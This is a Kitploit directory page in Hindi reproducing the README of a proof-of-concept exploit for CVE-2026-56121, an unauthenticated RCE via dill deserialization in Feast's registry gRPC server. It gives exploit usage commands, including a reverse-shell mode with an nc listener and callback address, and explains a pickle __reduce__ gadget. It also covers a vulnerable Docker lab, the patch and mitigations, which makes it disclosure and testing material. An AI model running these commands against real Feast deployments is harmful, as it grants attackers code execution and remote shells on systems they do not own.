Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
EXPLOIT-CVE-2026-56121 — CVE-2026-56121 के लिए प्रूफ-ऑफ-कॉन्सेप्ट एक्सप्लॉइट, जो Feast के रजिस्ट्री gRPC सर्वर में असुरक्षित dill डिसीरियलाइज़ेशन के माध्यम से एक अनप्रमाणित RCE है। परीक्षण और सत्यापन के लिए एक Dockerized कमजोर लैब शामिल है। | Kitploit
उपकरण/GitHubGitHub/joaovicdev/exploit-cve-2026-56121
भेद्यता विश्लेषणशोषणवेब एप्लिकेशन शोषणपेनिट्रेशन टेस्टिंगलर्निंग और शिक्षालैब और अभ्यास
GitHubjoaovicdev/exploit-cve-2026-56121

EXPLOIT-CVE-2026-56121

CVE-2026-56121 के लिए प्रूफ-ऑफ-कॉन्सेप्ट एक्सप्लॉइट, जो Feast के रजिस्ट्री gRPC सर्वर में असुरक्षित dill डिसीरियलाइज़ेशन के माध्यम से एक अनप्रमाणित RCE है। परीक्षण और सत्यापन के लिए एक Dockerized कमजोर लैब शामिल है।

रिपॉजिटरी देखें
10घं 54मि पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

CVE-2026-56121 — Feast अनप्रमाणित RCE (ApplyFeatureView gRPC डिसीरियलाइज़ेशन)

Feast (< 0.63.0) में registry gRPC सर्वर में असुरक्षित dill.loads डिसीरियलाइज़ेशन के माध्यम से अनप्रमाणित रिमोट कोड निष्पादन। इस रिपॉज़िटरी में एक स्व-निहित प्रूफ-ऑफ-कॉन्सेप्ट एक्सप्लॉइट और इसे मान्य करने के लिए एक Dockerized कमज़ोर लैब शामिल है।

CVECVE-2026-56121
उत्पादFeast (फीचर स्टोर) — registry gRPC सर्वर
प्रभावितfeast < 0.63.0
इसमें ठीक हुआ0.63.0 (कमिट 835cda8)
वर्गCWE-502 — अविश्वसनीय डेटा का डिसीरियलाइज़ेशन
प्रभावअनप्रमाणित RCE (डिफ़ॉल्ट कॉन्फ़िग auth: no_auth है)
डिफ़ॉल्ट पोर्ट6570/tcp (gRPC registry सर्वर)

⚠️ केवल अधिकृत सुरक्षा परीक्षण और शिक्षा के लिए। इसे केवल बंडल किए गए Docker लैब या उन सिस्टमों के विरुद्ध चलाएँ जिनके आप स्वामी हैं / जिनका परीक्षण करने की आपको स्पष्ट अनुमति है। तृतीय-पक्ष सिस्टमों के विरुद्ध अनधिकृत उपयोग अवैध है।

एक पैराग्राफ में भेद्यता

Feast registry gRPC हैंडलर RegistryServer.ApplyFeatureView किसी भी प्राधिकरण जाँच को चलाने से पहले OnDemandFeatureView.from_proto(...) को कॉल करके आने वाले फीचर-व्यू स्पेक को डिसीरियलाइज़ करता है। एक pandas-मोड ऑन-डिमांड फीचर व्यू के लिए गैर-रिक्त UDF बॉडी के साथ, वह पथ PandasTransformation.from_proto तक पहुँचता है, जो हमलावर-नियंत्रित बाइट्स पर dill.loads(user_defined_function.body) चलाता है। क्योंकि dill pickle ऑपकोड निष्पादित करता है, एक क्राफ्टेड __reduce__ वाली वस्तु सर्वर प्रक्रिया में मनमाना Python चलाती है। शिप की गई कॉन्फ़िगरेशन auth: no_auth है और gRPC सर्वर में कोई प्रमाणीकरण इंटरसेप्टर नहीं है, इसलिए कोई भी जो पोर्ट 6570 तक पहुँच सकता है, उसे कोड निष्पादन मिलता है।

पूर्ण कोड-पथ वॉकथ्रू और पैच डिफ़ के लिए ANALYSIS.md देखें।

रिपॉज़िटरी लेआउट

root@kitploit:~
.
├── exploit/
│   ├── exploit.py        # पूर्ण PoC क्लाइंट: --check / --cmd / --reverse-shell
│   ├── poc.py            # न्यूनतम एकल-फ़ाइल PoC, ~90 पंक्तियों में समान प्रिमिटिव
│   ├── build_protos.sh   # [email protected] से protobuf स्टब्स (पुनः) उत्पन्न करें
│   └── protos/           # प्रतिबद्ध जनरेटेड *_pb2 स्टब्स (protoc के बिना PoC चलाएँ)
├── lab/
│   ├── Dockerfile        # डिफ़ॉल्ट रूप से feast==0.62.0; FEAST_VERSION रिलीज़ का चयन करता है
│   ├── docker-compose.yml
│   ├── entrypoint.sh     # feast serve_registry --port 6570
│   └── feature_repo/     # न्यूनतम Feast प्रोजेक्ट (auth: no_auth)
├── requirements.txt      # एक्सप्लॉइट निर्भरताएँ: grpcio, protobuf
├── ANALYSIS.md
└── LICENSE

त्वरित आरंभ

1. कमज़ोर लैब प्रारंभ करें

root@kitploit:~
cd lab
docker compose up --build -d
# registry gRPC सर्वर अब localhost:6570 पर सुन रहा है
docker compose logs -f          # "Grpc server started" की प्रतीक्षा करें

2. एक्सप्लॉइट निर्भरताएँ स्थापित करें

root@kitploit:~
python3 -m venv .venv && source .venv/bin/activate
pip install -r requirements.txt

3. एक्सप्लॉइट चलाएँ

सुरक्षित जाँच (गैर-विनाशकारी) — साबित करता है कि सर्वर /tmp में एक मार्कर फ़ाइल लिखकर और होस्ट जानकारी लौटाकर हमलावर डेटा को डिसीरियलाइज़ करता है, बिना शेल कमांड चलाए:

root@kitploit:~
python exploit/exploit.py --target 127.0.0.1:6570 --check

एक कमांड चलाएँ और उसका आउटपुट देखें (डिफ़ॉल्ट मोड):

root@kitploit:~
python exploit/exploit.py --target 127.0.0.1:6570 --cmd "id; hostname; cat /etc/os-release | head -1"

इंटरैक्टिव रिवर्स शेल — पहले अपना लिसनर प्रारंभ करें, फिर पेलोड डिलीवर करें:

root@kitploit:~
# टर्मिनल A
nc -lvnp 4444
# टर्मिनल B  (एक ऐसा पता उपयोग करें जिसे कंटेनर वापस पहुँच सके)
python exploit/exploit.py --target 127.0.0.1:6570 --reverse-shell 172.17.0.1:4444

--cmd और --check मोड एक्सप्लॉइट में ही एक अल्पकालिक TCP लिसनर स्पिन करते हैं और लक्ष्य जो भी वापस भेजता है उसे प्रिंट करते हैं — लक्ष्य छवि में किसी बाहरी टूलिंग की आवश्यकता नहीं है।

एक सरलीकृत समकक्ष exploit/poc.py में है, यदि आप पूरे प्रिमिटिव को एक पठनीय फ़ाइल में चाहते हैं:

root@kitploit:~
python exploit/poc.py 127.0.0.1:6570 "id; uname -a"

कॉलबैक नोट। --check, --cmd और poc.py लक्ष्य के आपकी मशीन पर एक लिसनर से वापस कनेक्ट होने पर निर्भर करते हैं। होस्ट से चलाना बॉक्स से बाहर काम करता है। यदि आप एक्सप्लॉइट को कंटेनर के अंदर से चलाते हैं, तो इसे लैब के नेटवर्क पर रखें (docker run --network lab_default ...), अन्यथा पेलोड निष्पादित होता है लेकिन उत्तर कभी नहीं आता और टूल "no callback" रिपोर्ट करता है।

प्रोटोबफ़ स्टब्स को पुनः उत्पन्न करना (वैकल्पिक)

exploit/protos/ में स्टब्स प्रतिबद्ध हैं, इसलिए आपको protoc की आवश्यकता नहीं है। यदि आप उन्हें पुनः उत्पन्न करते हैं, तो स्क्रिप्ट का उपयोग करें — यह जानबूझकर grpcio-tools को पिन करती है:

root@kitploit:~
./exploit/build_protos.sh            # पिन किए गए python:3.11 कंटेनर में चलता है

protoc हर _pb2.py में एक gencode संस्करण स्टैम्प करता है, और protobuf एक स्टब को लोड करने से इनकार करता है जिसका gencode स्थापित रनटाइम से नया है। पिन स्टब्स को protobuf >= 5.29, < 8 पर लोड करता रखता है (5.29.6, 6.33.6 और 7.36.0 के विरुद्ध सत्यापित)।

4. पुष्टि करें कि पैच इसे ठीक करता है

फिक्स्ड रिलीज़ के विरुद्ध लैब को पुनः बनाएँ और एक्सप्लॉइट को फिर से चलाएँ:

root@kitploit:~
cd lab
docker compose down
FEAST_VERSION=0.63.0 docker compose up --build -d
python ../exploit/exploit.py --target 127.0.0.1:6570 --check

0.63.0 पर अपेक्षित: [-] No callback received. और लक्ष्य पर कोई मार्कर फ़ाइल नहीं — हैंडलर skip_udf=True पास करता है, इसलिए UDF बॉडी प्राधिकरण जाँच से पहले कभी डिसीरियलाइज़ नहीं होती। docker compose down && docker compose up --build -d के साथ कमज़ोर लैब पर वापस स्विच करें।

5. टियर डाउन

root@kitploit:~
cd lab && docker compose down -v

एक्सप्लॉइट कैसे काम करता है

  1. एक ApplyFeatureViewRequest बनाएँ जिसके on_demand_feature_view स्पेक में mode = "pandas" और एक feature_transformation.user_defined_function (UserDefinedFunctionV2) हो:
    • body_text = गैर-रिक्त (pandas डिसीरियलाइज़ेशन शाखा तक पहुँचने के लिए आवश्यक),
    • body = एक वस्तु का pickle जिसका __reduce__ exec(<python>) कॉल करता है।
  2. feast.registry.RegistryServer/ApplyFeatureView को एकल अनप्रमाणित gRPC कॉल भेजें।
  3. सर्वर from_proto के दौरान dill.loads(body) चलाता है — प्राधिकरण जाँच से पहले — पेलोड निष्पादित करते हुए। RPC स्वयं तब त्रुटि दे सकता है; कोड पहले ही चल चुका है।

एक्सप्लॉइट गैजेट को stdlib pickle मॉड्यूल के साथ क्राफ्ट करता है (सर्वर का dill.loads सादे pickle ऑपकोड को आसानी से डिकोड करता है), इसलिए हमलावर पक्ष को केवल grpcio + protobuf की आवश्यकता होती है।

निवारण

  • Feast >= 0.63.0 में अपग्रेड करें। फिक्स *.from_proto के माध्यम से एक skip_udf=True फ़्लैग थ्रेड करता है, इसलिए registry सर्वर UDF बॉडी को डिसीरियलाइज़ किए बिना स्पेक मेटाडेटा पर अनुमतियाँ मान्य करता है।
  • registry gRPC पोर्ट (6570) को अविश्वसनीय नेटवर्कों पर उजागर न करें।
  • डिफ़ॉल्ट no_auth के बजाय प्रमाणीकरण (auth: kubernetes / auth: oidc) सक्षम करें।

संदर्भ

  • NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-56121
  • फिक्स कमिट: https://github.com/feast-dev/feast/commit/835cda8e2c1359f1f496ad72701dbd6a73bdb25a
  • Feast v0.63.0 रिलीज़: https://github.com/feast-dev/feast/releases/tag/v0.63.0
टूल डाउनलोड करें